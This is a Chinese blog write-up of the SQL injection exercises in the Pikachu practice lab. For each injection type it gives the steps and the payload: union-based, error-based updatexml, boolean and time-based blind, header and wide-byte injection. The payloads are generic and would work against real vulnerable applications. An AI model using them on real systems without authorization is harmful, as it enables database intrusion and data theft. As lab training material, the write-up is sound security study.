首页 > 数据库 >Pikachu-SQL-Inject

Pikachu-SQL-Inject

时间:2022-11-14 22:11:40浏览次数:42  
标签:database -- Pikachu 0x7e lucy Inject SQL payload 注入

数字型注入(post)

首先选择一个提交看看效果,并且抓包分析查看用什么方式进行提交

通过burp很清晰看出使用的是post提交,我们发送到repeater

尝试寻找注入

使用 1 or 1=1 看到返回了所有用户

接下来就可以使用order by进行查找,通过查找有2列

那么就配合union进行查询

得到数据库名,后续就简单了,不做演示

字符型注入(get)

我们输入1 提交,使用hackbar进行注入比较方便

尝试语句:1 or 1=1 发现还是没效果,那么尝试加上单引号:1' or 1=1,此时发现报了sql语句错误,加上注释就得到了所有用户,说明使用的是单引号进行闭合

payload:1' or 1=1 -- -

获取数据库

payload:-1' union select database(),2 -- -

搜索型注入

可以看到这题的payload和上一题一样

通过order by知道有3列,使用union获得数据库名

payload:1' union select database(),2,3 -- -

xx型注入

通过payload尝试,发现是')闭合方式

payload:1') or 1=1 -- -

payload:1') union select database(),2 -- -

insert/update注入

点击注册页面,分析大概sql语句写法构造payload

分析:
自己平时写新增的sql语句大概样子
insert into 表名(字段1,字段2,字段3) values('值1','值2','值3')

将这个sql语句报错
insert into 表名(字段1,字段2,字段3) values('值1''**or updatexml(1, concat(0x7e, database(), 0x7e), 1) or'**,'值2','值3')

payload:'and updatexml(1, concat(0x7e, database(), 0x7e), 1) and'

登录进去点击修改信息,这是是更新的sql注入

使用的payload与上面一样

delete注入

输入一些内容点击提交,然后删除留言,使用burp进行抓取,抓取到的数据包发送到repeater

看到get请求删除,我们在这里进行注入

payload:or updatexml(1, concat(0x7e, database(), 0x7e), 1)

中间有的空格需要用+连接

http header注入

通过提示,登录账号

可以看到这里有两个头,我们使用burp抓包进行修改,不管修改的是User-Agent还是Accept都可以

payload:1 'or updatexml(1, concat(0x7e, database(), 0x7e), 1) or'

布尔盲注

输入已知的用户名,尝试闭合

payload:lucy' and 1=1 -- -

当payload:lucy' and 1=2 发现报错,说明可以进行盲注

尝试出数据库长度

payload:lucy' and length(database())=7 -- -

时间盲注

输入正确用户名以及闭合的提示都是只有一个,那么我们试试时间盲注

payload:lucy' and sleep(3) -- -

发现浏览器加载3s后才成功跳转,说明这里是时间盲注

判断数据库长度

payload:lucy' and if(length(database())=7,sleep(3),1) -- -

盲注可以使用sqlmap或者自己写一些脚本工具减少自己的工作量

宽字节注入

输入lucy进行抓包

进行宽字节注入

payload:lucy%df'+or+1=1--+

标签:database,--,Pikachu,0x7e,lucy,Inject,SQL,payload,注入
From: https://www.cnblogs.com/iplkcc/p/16890645.html

相关文章

  • Pikachu-CSRF
    此处不演示生成csrf.html,通过burp抓包可以生成get首先我们登录一个账户,账户名和密码可用点击提示查看,这里我使用lucy123456进行登录点击修改个人信息,打开fiddler或浏......
  • postgresql数据库生成GUID
    CREATEorREPLACEFUNCTIONnew_guid()RETURNS"pg_catalog"."varchar"AS$BODY$DECLAREv_seed_valuevarchar(32);BEGINselectmd5(inet_client......
  • SQLServer内置函数实现MD5加密与解密
    SQLServer内置函数实现MD5加密⼀、MD5加密HASHBYTES('加密⽅式','待加密的值')加密⽅式=MD2|MD4|MD5|SHA|SHA1返回值类型:varbinary(maximum8000bytes)⼆、MD5......
  • sql server 数据库系统表及表结构查询
    sysobjects表结构:列名数据类型描述namesysname对象名,常用列idint对象标识号xtypechar(2)对象类型,常用列。xtype 可以是下列对象类型中的......
  • sqlserver xml 操作:1、使用for xml
    sqlserverxml操作:1、使用forxml一个是侧重介绍forxml模式的,一个是侧重语法及细节参数的forxml(SqlServer)forxml子句的基本语法说实话,老顾觉得其......
  • sqlserver xml 操作:2、对确定结构的xml进行操作
    sqlserverxml操作:2、对确定结构的xml进行操作我们使用的xml有着明确的定义结构,该啥节点,该啥属性,该啥层级,基本在设计之初就已经确定了,很少有确定了结构的xml格式再......
  • sqlserver xml 操作:3、对不确定结构、属性的xml进行处理
    sqlserverxml操作:3、对不确定结构、属性的xml进行处理在平时使用过程中,xml的结构一般都是已经确定了的,所以我们读取并不是很麻烦的事,但如果一旦结构或数据不确定,......
  • sqlserver FOR XML查询参数path的实例
     SQLSERVER中XML查询:FORXML指定PATH前言在SQLSERVER中,XML查询可以指定RAW,AUTO,EXPLICIT,PATH。本文用一些实例介绍SQLSERVER中指定PATH的XML查询。PA......
  • SQL中的OpenXML使用案例
    DECLARE@idocintDECLARE@docvarchar(1000)SET@doc='<ROOT><CustomerCustomerID="VINET"ContactName="PaulHenriot"><OrderOrderID="10248"Customer......
  • SQL 存储过程 解析XML
    第一种说明:我看过这样一篇文章,如下 在SQL Server2005中,微软延续了 2000中一个特性(即支持XML类型的数据),并加强了对XML 数据列、XML变量以及XML索引的支持。 ......